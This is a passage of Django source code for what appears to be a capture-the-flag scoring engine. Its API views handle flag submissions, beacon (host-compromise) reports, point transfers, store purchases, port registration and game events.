json.loads(decoded_data)\n del decoded_data\n except json.decoder.JSONDecodeError:\n api_debug(\n \"JOB\",\n 'Job submitted by Monitor \"%s\" is not in a valid JSON format!'\n % monitor.name,\n request,\n )\n return HttpResponseBadRequest(\n '{\"message\": \"SBE API: Not in a valid JSON format!\"}'\n )\n try:\n job = Job.objects.get(id=int(job_json[\"id\"]))\n if job.finish is not None:\n logger.warning(\n \"SBE-JOB\",\n 'Monitor \"%s\" returned a completed Job!' % monitor.name,\n )\n return HttpResponseBadRequest(\n '{\"message\": \"SBE API: Job already completed!\"}'\n )\n except KeyError:\n api_error(\n \"JOB\",\n 'Job submitted by Monitor \"%s\" is not in a correct JSON format!'\n % monitor.name,\n request,\n )\n return HttpResponseBadRequest(\n '{\"message\": \"SBE API: Not in a valid JSON format!\"}'\n )\n except ValueError:\n api_error(\n \"JOB\",\n 'Monitor \"%s\" returned a Job with an invalid ID!' % monitor.name,\n request,\n )\n return HttpResponseBadRequest('{\"message\": \"SBE API: Invalid Job ID!\"}')\n except TypeError:\n api_error(\n \"JOB\",\n 'Job submitted by Monitor \"%s\" is not in correct JSON format!'\n % monitor.name,\n request,\n )\n return HttpResponseBadRequest(\n '{\"message\": \"SBE API: Not in valid JSON format!\"}'\n )\n except Job.DoesNotExist:\n api_error(\n \"JOB\",\n 'Monitor \"%s\" returned a Job with an non-existent ID \"%d\" !'\n % (monitor.name, job_json[\"id\"]),\n request,\n )\n return HttpResponseBadRequest(\n '{\"message:\", \"SBE API: Job with ID \\'%d\\' does not exist!\"}'\n % job_json[\"id\"]\n )\n dump_data(\"job-%s\" % monitor.name, job_json)\n status, message = job.monitor.score_job(monitor, job, job_json)\n del job\n del monitor\n del game_monitors\n if status:\n return HttpResponse(\n status=202, content='{\"message\": \"SBE API: Job Accepted\"}'\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: %s\"}' % message\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_FLAG\")\n def api_flag(request):\n if request.method == METHOD_POST:\n team, token, data, exception = game_team_from_token(\n request, \"Flag\", \"token\", fields=[\"flag\"]\n )\n del token\n if exception is not None:\n return exception\n try:\n flag = Flag.objects.exclude(team=team).get(\n host__team__game=team.game, flag__exact=data[\"flag\"], enabled=True\n )\n except Flag.DoesNotExist:\n api_error(\n \"FLAG\",\n 'Flag submitted by Team \"%s\" was not found!'\n % team.get_canonical_name(),\n request,\n )\n return HttpResponseNotFound(\n content='{\"message\": \"SBE API: Flag not valid!\"}'\n )\n except Flag.MultipleObjectsReturned:\n api_error(\n \"FLAG\",\n 'Flag submitted by Team \"%s\" returned multiple flags!'\n % team.get_canonical_name(),\n request,\n )\n return HttpResponseNotFound(\n content='{\"message\": \"SBE API: Flag not valid!\"}'\n )\n if flag.captured is not None:\n api_error(\n \"FLAG\",\n 'Flag \"%s\" submitted by Team \"%s\" was already captured!'\n % (flag.get_canonical_name(), team.get_canonical_name()),\n request,\n )\n return HttpResponse(\n status=204, content='{\"message\": \"SBE API: Flag already captured!\"}'\n )\n flag.capture(team)\n api_info(\n \"FLAG\",\n 'Flag \"%s\" was captured by team \"%s\"!'\n % (flag.get_canonical_name(), team.get_canonical_name()),\n request,\n )\n try:\n api_debug(\n \"FLAG\",\n \"Attempting to get another non-captured flag for a hint..\",\n request,\n )\n flag_next = random.choice(\n Flag.objects.filter(\n enabled=True, team=flag.team, captured__isnull=True\n )\n )\n del flag\n if flag_next is not None:\n api_debug(\n \"FLAG\",\n 'Got Flag \"%s\", sending hint!' % flag_next.get_canonical_name(),\n request,\n )\n return HttpResponse(\n status=200, content='{\"message\": \"%s\"}' % flag_next.description\n )\n except IndexError:\n return HttpResponse(status=200)\n except Flag.DoesNotExist:\n return HttpResponse(status=200)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_TICKET\")\n def api_ticket(request):\n if request.method == METHOD_POST:\n try:\n decoded_data = request.body.decode(\"UTF-8\")\n except UnicodeDecodeError:\n api_error(\"TICKET\", \"Data submitted is not encoded properly!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Incorrect encoding, please use UTF-8!\"}'\n )\n try:\n json_data = json.loads(decoded_data)\n del decoded_data\n except json.decoder.JSONDecodeError:\n api_error(\n \"TICKET\", \"Data submitted is not in correct JSON format!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in a valid JSON format!\"]'\n )\n if \"tickets\" not in json_data:\n api_error(\"TICKET\", \"Data submitted is missing JSON fields!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in a valid JSON format!\"}'\n )\n if not isinstance(json_data[\"tickets\"], list):\n api_error(\"TICKET\", \"Data submitted is missing JSON fields!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in a valid JSON format!\"}'\n )\n for ticket in json_data[\"tickets\"]:\n ticket, exception = GameTicket.grab_ticket_json(request, ticket)\n if exception:\n return HttpResponseBadRequest(\n '{\"message\": \"SBE API: d%s\"}' % exception\n )\n del ticket\n return HttpResponse(status=200, content='{\"message\": \"Accepted\"}')\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_BEACON\")\n def api_beacon(request):\n if request.method == METHOD_POST:\n team, token, data, exception = game_team_from_token(\n request, \"CLI\", \"token\", beacon=True, fields=[\"address\"]\n )\n if exception is not None:\n return exception\n address_raw = data[\"address\"]\n try:\n address = IPAddress(address_raw)\n except AddrFormatError:\n api_error(\n \"BEACON\",\n 'IP Reported by Team \"%s\" is invalid!' % team.get_canonical_name(),\n request,\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Invalid IP Address!\"}'\n )\n target_team = None\n for sel_target_team in team.game.teams.all():\n try:\n target_subnet = IPNetwork(sel_target_team.subnet)\n except AddrFormatError:\n api_warning(\n \"BEACON\",\n 'Team \"%s\" subnet is invalid, skipping Team!'\n % team.get_canonical_name(),\n request,\n )\n continue\n if address in target_subnet:\n api_debug(\n \"BEACON\",\n 'Beacon from Team \"%s\" to Team \"%s\"\\'s subnet!'\n % (\n team.get_canonical_name(),\n sel_target_team.get_canonical_name(),\n ),\n request,\n )\n target_team = sel_target_team\n del target_subnet\n break\n del target_subnet\n del address\n try:\n host = Host.objects.get(\n ip=address_raw, team__game__status=CONST_GAME_GAME_RUNNING\n )\n if host.team.game.id != team.game.id:\n api_error(\n \"BEACON\",\n 'Host accessed by Team \"%s\" is not in the same game as \"%s\"!'\n % (team.get_canonical_name(), host.team.get_canonical_name()),\n request,\n )\n return HttpResponseForbidden(\n '{\"message\": \"SBE API: Host is not in the same Game!\"}'\n )\n try:\n beacon = host.beacons.get(\n beacon__finish__isnull=True,\n beacon__attacker=team,\n beacon__token=token,\n )\n beacon.checkin = timezone.now()\n beacon.save()\n api_info(\n \"BEACON\",\n 'Team \"%s\" updated the Beacon on Host \"%s\"!'\n % (team.get_canonical_name(), host.get_canonical_name()),\n request,\n )\n return HttpResponse()\n except GameCompromiseHost.MultipleObjectsReturned:\n api_warning(\n \"BEACON\",\n 'Team \"%s\" attempted to create multiple Beacons on a Host \"%s\"!'\n % (team.get_canonical_name(), host.get_canonical_name()),\n request,\n )\n del host\n del address_raw\n return HttpResponseForbidden(\n '{\"message\": \"SBE API: Already a Beacon on that Host!\"}'\n )\n except GameCompromiseHost.DoesNotExist:\n if host.beacons.filter(beacon__finish__isnull=True).count() > 1:\n api_warning(\n \"BEACON\",\n 'Team \"%s\" attempted to create multiple Beacons on a Host \"%s\"!'\n % (team.get_canonical_name(), host.get_canonical_name()),\n request,\n )\n del host\n del address_raw\n return HttpResponseForbidden(\n '{\"message\": \"SBE API: Already a Beacon on that Host!\"}'\n )\n with atomic():\n beacon = GameCompromise()\n beacon_host = GameCompromiseHost()\n beacon_host.ip = address_raw\n beacon_host.team = host.team\n beacon_host.host = host\n beacon.token = token\n beacon.attacker = team\n beacon.save()\n beacon_host.beacon = beacon\n beacon_host.save()\n api_event(\n team.game,\n \"A Host on %s's network was compromised by %s!\"\n % (host.team.name, team.name),\n )\n beacon_value = int(team.game.get_option(\"beacon_value\"))\n team.set_beacons(beacon_value)\n api_info(\n \"SCORING-ASYNC\",\n 'Beacon score was applied to Team \"%s\"!'\n % team.get_canonical_name(),\n request,\n )\n api_score(\n beacon.id,\n \"BEACON-ATTACKER\",\n team.get_canonical_name(),\n beacon_value,\n beacon_host.get_fqdn(),\n )\n del beacon_value\n del beacon\n del beacon_host\n del address_raw\n api_info(\n \"BEACON\",\n 'Team \"%s\" added a Beacon to Host \"%s\"!'\n % (team.get_canonical_name(), host.get_canonical_name()),\n request,\n )\n return HttpResponse(status=201)\n except Host.DoesNotExist:\n if target_team is not None:\n api_info(\n \"BEACON\",\n 'Host accessed by Team \"%s\" does not exist! Attempting to create a faux Host!'\n % team.get_canonical_name(),\n request,\n )\n if (\n GameCompromiseHost.objects.filter(\n ip=address_raw, beacon__finish__isnull=True\n ).count()\n > 0\n ):\n api_warning(\n \"BEACON\",\n 'Team \"%s\" attempted to create multiple Beacons on a Host \"%s\"!'\n % (team.get_canonical_name(), address_raw),\n request,\n )\n del address_raw\n return HttpResponseForbidden(\n '{\"message\": \"SBE API: Already a Beacon on that Host!\"}'\n )\n with atomic():\n beacon_host = GameCompromiseHost()\n beacon_host.ip = address_raw\n beacon_host.team = target_team\n beacon = GameCompromise()\n beacon.token = token\n beacon.attacker = team\n beacon.save()\n beacon_host.beacon = beacon\n beacon_host.save()\n api_event(\n team.game,\n \"A Host on %s's network was compromised by %s!\"\n % (target_team.name, team.name),\n )\n beacon_value = int(team.game.get_option(\"beacon_value\"))\n team.set_beacons(beacon_value)\n api_info(\n \"SCORING-ASYNC\",\n 'Beacon score was applied to Team \"%s\"!'\n % team.get_canonical_name(),\n request,\n )\n api_score(\n beacon.id,\n \"BEACON-ATTACKER\",\n team.get_canonical_name(),\n beacon_value,\n beacon_host.get_fqdn(),\n )\n del beacon_value\n del beacon\n del beacon_host\n api_info(\n \"BEACON\",\n 'Team \"%s\" added a Beacon to Host \"%s\"!'\n % (team.get_canonical_name(), address_raw),\n request,\n )\n del address_raw\n return HttpResponse(status=201)\n del address_raw\n api_error(\n \"BEACON\",\n 'Host accessed by Team \"%s\" does not exist and a hosting team cannot be found!'\n % team.get_canonical_name(),\n request,\n )\n return HttpResponseNotFound(\n '{\"message\": \"SBE API: Host does not exist!\"}'\n )\n except Host.MultipleObjectsReturned:\n api_error(\n \"BEACON\",\n 'Host accessed by Team \"%s\" returned multiple Hosts, invalid!'\n % team.get_canonical_name(),\n request,\n )\n return HttpResponseNotFound(\n '{\"message\": \"SBE API: Host does not exist!\"}'\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @staff_member_required\n def api_import(request):\n if request.method == \"GET\":\n import_form = Scorebot2ImportForm()\n return render(\n request,\n \"scorebot2_import.html\",\n {\"import_form\": import_form.as_table()},\n )\n elif request.method == \"POST\":\n import_form = Scorebot2ImportForm(request.POST)\n if import_form.is_valid():\n if import_form:\n import_game = import_form.save()\n if import_game is None:\n return HttpResponseServerError(\n \"Error importing Game! Game is None!\"\n )\n return HttpResponseRedirect(\n reverse(\"scorebot3:scoreboard\", args=(import_game.id,))\n )\n # except Exception as importError:\n # return HttpResponseServerError(str(importError))\n return render(\n request,\n \"scorebot2_import.html\",\n {\"import_form\": import_form.as_table()},\n )\n return HttpResponseBadRequest(content=\"SBE API: Not a supported method type!\")\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_STORE\")\n def api_transfer(request):\n if request.method == METHOD_POST:\n try:\n decoded_data = request.body.decode(\"UTF-8\")\n except UnicodeDecodeError:\n api_error(\n \"TRANSFER\", \"Data submitted is not encoded properly!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Incorrect encoding, please use UTF-8!\"}'\n )\n try:\n json_data = json.loads(decoded_data)\n del decoded_data\n except json.decoder.JSONDecodeError:\n api_error(\n \"TRANSFER\", \"Data submitted is not in correct JSON format!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in a valid JSON format!\"]'\n )\n if (\n \"target\" not in json_data\n or \"dest\" not in json_data\n or \"amount\" not in json_data\n ):\n api_error(\"TRANSFER\", \"Data submitted is missing JSON fields!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in a valid JSON format!\"}'\n )\n if json_data[\"target\"] is None and json_data[\"dest\"] is None:\n api_error(\"TRANSFER\", \"Cannot transfer from Gold to Gold!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Cannot transfer from Gold to Gold!\"}'\n )\n team_to = None\n team_from = None\n try:\n amount = int(json_data[\"amount\"])\n except ValueError:\n api_error(\"TRANSFER\", \"Amount submitted is is invalid!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Invalid amount!\"}'\n )\n if amount <= 0:\n api_error(\"TRANSFER\", \"Amount submitted is is invalid!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Invalid amount!\"}'\n )\n if json_data[\"dest\"] is not None:\n try:\n team_token = Token.objects.get(uuid=uuid.UUID(json_data[\"dest\"]))\n team_to = GameTeam.objects.get(token=team_token)\n del team_token\n except ValueError:\n api_error(\n \"TRANSFER\", \"Token given for Destination is invalid!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Invalid Destination Token!\"}'\n )\n except Token.DoesNotExist:\n api_error(\n \"TRANSFER\", \"Token given for Destination is invalid!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Invalid Destination Token!\"}'\n )\n except GameTeam.DoesNotExist:\n api_error(\n \"TRANSFER\",\n \"Team given for Destination does not exist!\",\n request,\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Destination Team does not exist!\"}'\n )\n if json_data[\"target\"] is not None:\n try:\n team_token = Token.objects.get(uuid=uuid.UUID(json_data[\"target\"]))\n team_from = GameTeam.objects.get(token=team_token)\n del team_token\n except ValueError:\n api_error(\"TRANSFER\", \"Token given for Source is invalid!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Invalid Source Token!\"}'\n )\n except Token.DoesNotExist:\n api_error(\"TRANSFER\", \"Token given for Source is invalid!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Invalid Source Token!\"}'\n )\n except GameTeam.DoesNotExist:\n api_error(\n \"TRANSFER\", \"Team given for Source does not exist!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Source Team does not exist!\"}'\n )\n if team_to is not None and team_to.game.status != CONST_GAME_GAME_RUNNING:\n api_error(\n \"TRANSFER\",\n 'Game \"%s\" submitted is not Running!' % team_to.gane.name,\n request,\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Team Game ius not running!\"}'\n )\n if (\n team_from is not None\n and team_from.game.status != CONST_GAME_GAME_RUNNING\n ):\n api_error(\n \"TRANSFER\",\n 'Game \"%s\" submitted is not Running!' % team_from.gane.name,\n request,\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Team Game ius not running!\"}'\n )\n if (\n team_to is not None\n and team_from is not None\n and team_to.game.id != team_from.game.id\n ):\n api_error(\n \"TRANSFER\", \"Transfer teams are not in the same Game!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Teams are not in the same Game!\"}'\n )\n with atomic():\n if team_from is not None:\n team_from.set_uptime(-1 * amount)\n api_score(\n team_from.id,\n \"TRANSFER\",\n team_from.get_canonical_name(),\n -1 * amount,\n (\n \"GoldTeam\"\n if team_to is None\n else team_to.get_canonical_name(),\n ),\n )\n if team_to is not None:\n team_to.set_uptime(amount)\n api_score(\n team_to.id,\n \"TRANSFER\",\n team_to.get_canonical_name(),\n amount,\n (\n \"GoldTeam\"\n if team_from is None\n else team_from.get_canonical_name(),\n ),\n )\n return HttpResponse(status=200, content='{\"message\": \"transferred\"}')\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_CLI\")\n def api_register(request):\n if request.method == METHOD_POST:\n team, token, data, exception = game_team_from_token(request, \"CLI\", \"token\")\n del token\n if exception is not None:\n return exception\n beacon = token_create_new(30)\n team.beacons.add(beacon)\n team.save()\n api_info(\n \"CLI\",\n 'Team \"%s\" requested a new Beacon token!' % team.get_canonical_name(),\n request,\n )\n del team\n return HttpResponse(\n status=201, content='{\"token\": \"%s\"}' % str(beacon.uuid)\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_CLI\")\n def api_register_port(request):\n if request.method == METHOD_GET:\n port_list = []\n for game in Game.objects.filter(status=CONST_GAME_GAME_RUNNING):\n for port in game.ports.all():\n if port not in port_list:\n port_list.append(port.port)\n return HttpResponse(\n content='{\"ports\": [%s]}' % \",\".join([str(i) for i in port_list])\n )\n if request.method == METHOD_POST:\n team, token, data, exception = game_team_from_token(\n request, \"CLI\", \"token\", fields=[\"port\"]\n )\n del token\n if exception is not None:\n return exception\n try:\n port = int(data[\"port\"])\n except ValueError:\n api_error(\n \"CLI\",\n 'Port submitted by Team \"%s\" is not an Integer!'\n % team.get_canonical_name(),\n request,\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Port is not an Integer!\"}'\n )\n del data\n api_info(\n \"CLI\",\n 'Team \"%s\" requested a new Beacon port \"%d/tcp\"!'\n % (team.get_canonical_name(), port),\n request,\n )\n try:\n team.game.ports.all().get(port=port)\n api_debug(\n \"CLI\",\n 'Port requested by Team \"%s\" is already open!'\n % team.get_canonical_name(),\n request,\n )\n del team\n return HttpResponse(status=418)\n except GamePort.DoesNotExist:\n game_port = GamePort()\n game_port.port = port\n game_port.save()\n team.game.ports.add(game_port)\n team.game.save()\n api_debug(\n \"CLI\",\n 'Port \"%d\" requested by Team \"%s\" was opened!'\n % (port, team.get_canonical_name()),\n request,\n )\n del team\n del game_port\n return HttpResponse(status=201)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @authenticate()\n def api_uuid(request, game_id):\n if request.method == METHOD_GET:\n try:\n game = Game.objects.get(id=int(game_id))\n except ValueError:\n api_error(\n \"MAPPER\",\n 'Attempted to get non-existent Game \"%d\"!' % game_id,\n request,\n )\n return HttpResponseNotFound()\n except Game.DoesNotExist:\n api_error(\n \"MAPPER\",\n 'Attempted to get non-existent Game \"%d\"!' % game_id,\n request,\n )\n return HttpResponseNotFound()\n except Game.MultipleObjectsReturned:\n api_error(\n \"MAPPER\",\n 'Attempted to get non-existent Game \"%d\"!' % game_id,\n request,\n )\n return HttpResponseNotFound()\n if game.status != CONST_GAME_GAME_RUNNING:\n api_error(\n \"MAPPER\",\n 'Attempted to get a non-running Game \"%s\"!' % game.name,\n request,\n )\n return HttpResponseForbidden(\n content='{\"message\": \"SBE API: Game \"%s\" is not Running!\"}'\n % game.name\n )\n api_info(\n \"MAPPER\", 'Returned UUID mappings for Game \"%s\"!' % game.name, request\n )\n json_data = {\"teams\": [t.get_json_mapper() for t in game.teams.all()]}\n return HttpResponse(status=200, content=json.dumps(json_data))\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_STORE\")\n def api_purchase(request, team_id=None):\n if request.method == METHOD_GET:\n api_debug(\n \"STORE\", 'Requesting the exchange rate for Team \"%s\"' % team_id, request\n )\n if team_id is None:\n api_error(\"STORE\", \"Attempted to use Null Team ID!\", request)\n return HttpResponseNotFound(\n '{\"message\": \"SBE API: Team could not be found!\"}'\n )\n try:\n team = GameTeam.objects.get(\n store=int(team_id), game__status=CONST_GAME_GAME_RUNNING\n )\n except ValueError:\n api_error(\n \"STORE\",\n 'Attempted to use an invalid Team ID \"%s\"!' % str(team_id),\n request,\n )\n return HttpResponseNotFound('{\"message\": \"SBE API: Invalid Team ID!\"}')\n except GameTeam.DoesNotExist:\n api_error(\n \"STORE\",\n 'Attempted to use an non-existent Team ID \"%s\"!' % str(team_id),\n request,\n )\n return HttpResponseNotFound(\n '{\"message\": \"SBE API: Team could not be found!\"}'\n )\n except GameTeam.MultipleObjectsReturned:\n api_error(\n \"STORE\",\n \"Attempted to use a Team ID which returned multiple Teams!\",\n request,\n )\n return HttpResponseNotFound(\n '{\"message\": \"SBE API: Team could not be found!\"}'\n )\n rate = float(team.game.get_option(\"score_exchange_rate\")) / 100.0\n api_debug(\n \"STORE\",\n 'The exchange rate for Team \"%s\" is \"%.2f\"!'\n % (team.get_canonical_name(), rate),\n request,\n )\n return HttpResponse(status=200, content='{\"rate\": %.2f}' % rate)\n if request.method == METHOD_POST:\n try:\n decoded_data = request.body.decode(\"UTF-8\")\n except UnicodeDecodeError:\n api_error(\"STORE\", \"Data submitted is not encoded properly!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Incorrect encoding, please use UTF-8!\"}'\n )\n try:\n json_data = json.loads(decoded_data)\n del decoded_data\n except json.decoder.JSONDecodeError:\n api_error(\n \"STORE\", \"Data submitted is not in correct JSON format!\", request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in a valid JSON format!\"]'\n )\n if \"team\" not in json_data or \"order\" not in json_data:\n api_error(\"STORE\", \"Data submitted is missing JSON fields!\", request)\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in a valid JSON format!\"}'\n )\n try:\n team = GameTeam.objects.get(\n store=int(json_data[\"team\"]), game__status=CONST_GAME_GAME_RUNNING\n )\n except ValueError:\n api_error(\n \"STORE\",\n 'Attempted to use an invalid Team ID \"%s\"!' % str(team_id),\n request,\n )\n return HttpResponseNotFound('{\"message\": \"SBE API: Invalid Team ID!\"}')\n except GameTeam.DoesNotExist:\n api_error(\n \"STORE\",\n 'Attempted to use an non-existent Team ID \"%s\"!' % str(team_id),\n request,\n )\n return HttpResponseNotFound(\n '{\"message\": \"SBE API: Team could not be found!\"}'\n )\n except GameTeam.MultipleObjectsReturned:\n api_error(\n \"STORE\",\n \"Attempted to use a Team ID which returned multiple Teams!\",\n request,\n )\n return HttpResponseNotFound(\n '{\"message\": \"SBE API: Team could not be found!\"}'\n )\n api_info(\n \"STORE\",\n 'Attempting to add Purchase records for Team \"%s\".'\n % team.get_canonical_name(),\n request,\n )\n if not isinstance(json_data[\"order\"], list):\n api_error(\n \"STORE\", 'Data submitted is missing the \"oreer\" array!', request\n )\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not in valid JSON format!\"}'\n )\n for order in json_data[\"order\"]:\n if \"item\" in order and \"price\" in order:\n try:\n with atomic():\n purchase = Purchase()\n purchase.team = team\n purchase.amount = int(\n float(order[\"price\"])\n * (\n float(team.game.get_option(\"score_exchange_rate\"))\n / 100.0\n )\n )\n purchase.item = (\n order[\"item\"]\n if len(order[\"item\"]) < 150\n else order[\"item\"][:150]\n )\n team.set_uptime(-1 * purchase.amount)\n purchase.save()\n api_score(\n team.id,\n \"PURCHASE\",\n team.get_canonical_name(),\n purchase.amount,\n purchase.item,\n )\n api_debug(\n \"STORE\",\n 'Processed order of \"%s\" \"%d\" for team \"%s\"!'\n % (\n purchase.item,\n purchase.amount,\n team.get_canonical_name(),\n ),\n request,\n )\n del purchase\n except ValueError:\n api_warning(\n \"STORE\",\n 'Order \"%s\" has invalid integers for amount!!' % str(order),\n request,\n )\n else:\n api_warning(\n \"STORE\",\n 'Order \"%s\" does not have the correct format!' % str(order),\n request,\n )\n return HttpResponse(status=200, content='{\"message\": \"processed\"}')\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n def api_scoreboard(request, game_id):\n return HttpResponseBadRequest(\n \"The old Scoreboard is deprecated. Please use the new Scoreboard\"\n )\n\n @staticmethod\n def api_scoreboard_json(request, game_id):\n if request.method == METHOD_GET:\n try:\n return HttpResponse(\n content=Game.objects.get(id=int(game_id)).get_json_scoreboard()\n )\n except Game.DoesNotExist:\n return HttpResponseNotFound()\n return HttpResponseBadRequest()\n\n @staticmethod\n @staff_member_required\n def api_event_create(request):\n if request.method == \"GET\":\n event_form = CreateEventForm()\n return render(\n request, \"event_form.html\", {\"eventcreate\": event_form.as_table()}\n )\n elif request.method == \"POST\":\n event_form = CreateEventForm(request.POST)\n if event_form.is_valid():\n if event_form:\n # try:\n event = event_form.save()\n # if import_game is None:\n # return HttpResponseServerError('Error importing Game! Game is None!')\n return HttpResponseRedirect(\n reverse(\"scorebot3:scoreboard\", args=(event,))\n )\n # except Exception as importError:\n # return HttpResponseServerError(str(importError))\n return HttpResponseBadRequest(content=\"SBE API: Not a supported method type!\")\n\n @staticmethod\n @staff_member_required\n def api_event_message(request):\n if request.method == \"GET\":\n event_message_form = EventMessageForm()\n return render(\n request,\n \"sbe_event_message.html\",\n {\"form_event_message\": event_message_form.as_p()},\n )\n elif request.method == \"POST\":\n event_message_form = EventMessageForm(request.POST)\n if event_message_form.is_valid():\n if event_message_form:\n event_message_form.save()\n return HttpResponseRedirect(reverse(\"scorebot3:form_event_message\"))\n return HttpResponseBadRequest(content=\"SBE API: Not a supported method type!\")\n\n @staticmethod\n def api_default_page(request):\n g = Game.objects.filter(\n status=1, start__isnull=False, finish__isnull=True\n ).first()\n if g is not None:\n return HttpResponseRedirect(\"/scoreboard/%d/\" % g.pk)\n return HttpResponseRedirect(\"/scoreboard/1/\")\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_CLI\")\n def api_change_host(request, host_id=None):\n if (\n request.method != \"DELETE\" or request.method != \"POST\"\n ) and host_id is not None:\n return HttpResponseBadRequest(\n \"Cannot specify a host ID with a non POST/DELETE request!\"\n )\n try:\n json_text = request.body.decode(\"UTF-8\")\n except UnicodeTranslateError:\n return HttpResponseBadRequest(\"Invalid Unicode!\")\n try:\n data = json.loads(json_text)\n except json.decoder.JSONDecodeError:\n return HttpResponseBadRequest(\"Invalid JSON!\")\n if host_id is not None and request.method != \"GET\":\n try:\n host = Host.objects.get(id=host_id)\n except Exception:\n return HttpResponseNotFound(\"No host %s found!\" % host_id)\n if request.method == \"DELETE\":\n host.team = None\n host.save()\n return HttpResponse()\n else:\n host = Host()\n if \"team\" not in data:\n return HttpResponseBadRequest(\"Missing 'team' item!\")\n if \"ip\" not in data:\n return HttpResponseBadRequest(\"Missing 'ip' item!\")\n if \"dns\" not in data:\n return HttpResponseBadRequest(\"Missing 'dns' item!\")\n try:\n token = Token.objects.get(uuid=uuid.UUID(data[\"team\"]))\n team = GameTeam.objects.get(token=token)\n except Exception:\n return HttpResponseNotFound(\"team with uuid %s not found\" % data[\"team\"])\n host.team = team\n try:\n result = host.update_from_json(data)\n if result is not None:\n return HttpResponseServerError(\"AN error occured %s!\" % str(result))\n host.save()\n except Exception as err:\n return HttpResponseServerError(\"An error occured %s!\" % str(err))\n return HttpResponse(json.dumps({\"id\": host.pk}))\n\n @staticmethod\n def api_get_games(request):\n return HttpResponse(\n content=json.dumps(\n [g.get_list_json() for g in Game.objects.all().order_by(\"start\")]\n ),\n content_type=\"application/json\",\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate()\n def api_beacon_active(request):\n if request.method == METHOD_GET:\n try:\n t = GameTeam.objects.get(token=request.authentication.token)\n except GameTeam.DoesNotExist:\n return HttpResponseBadRequest(content='{\"message\": \"Invalid Token\"}')\n all_beacons = GameCompromise.objects.filter(finish__isnull=True, attacker=t)\n beacon_list = list()\n for beacon in all_beacons:\n beacon_info = dict()\n beacon_info[\"host\"] = str(beacon.host)\n beacon_info[\"token\"] = str(beacon.token)\n beacon_info[\"attacker\"] = str(beacon.attacker)\n beacon_info[\"start\"] = str(beacon.start)\n beacon_info[\"finish\"] = str(beacon.finish)\n beacon_list.append(beacon_info)\n return HttpResponse(content=json.dumps(beacon_list))\n else:\n return HttpResponseBadRequest(\n content='{\"message\": \"SBE API: Not a supported method type!\"}'\n )\n\n @staticmethod\n @csrf_exempt\n @authenticate(\"__SYS_CLI\")\n def api_event_create_cli(request, game_id):\n if request.method != \"POST\":\n return HttpResponseForbidden()\n try:\n json_text = request.body.decode(\"UTF-8\")\n except UnicodeTranslateError:\n return HttpResponseBadRequest(\"Invalid Unicode!\")\n try:\n data = json.loads(json_text)\n except json.decoder.JSONDecodeError:\n return HttpResponseBadRequest(\"Invalid JSON!\")\n if \"data\" not in data or not isinstance(data[\"data\"], dict):\n return HttpResponseBadRequest(\"Bad JSON!\")\n e = GameEvent()\n try:\n e.game = Game.objects.get(pk=game_id)\n except Game.DoesNotExist:\n return HttpResponseNotFound()\n e.data = json.dumps(data[\"data\"])\n try:\n e.type = data.get(\"type\", 0)\n if e.type < 0 or e.type > 4:\n return HttpResponseBadRequest(\"Bad Type Value!\")\n except ValueError:\n return HttpResponseBadRequest(\"Bad Type Value!\")\n try:\n t = data.get(\"timeout\", 30)\n if t <= 0:\n return HttpResponseBadRequest(\"Bad Timeout Value!\")\n e.timeout = timezone.now() + timedelta(seconds=t)\n except ValueError:\n return HttpResponseBadRequest(\"Bad Timeout Value!\")\n try:\n e.save()\n except Exception as err:\n return HttpResponseServerError(str(err))\n return 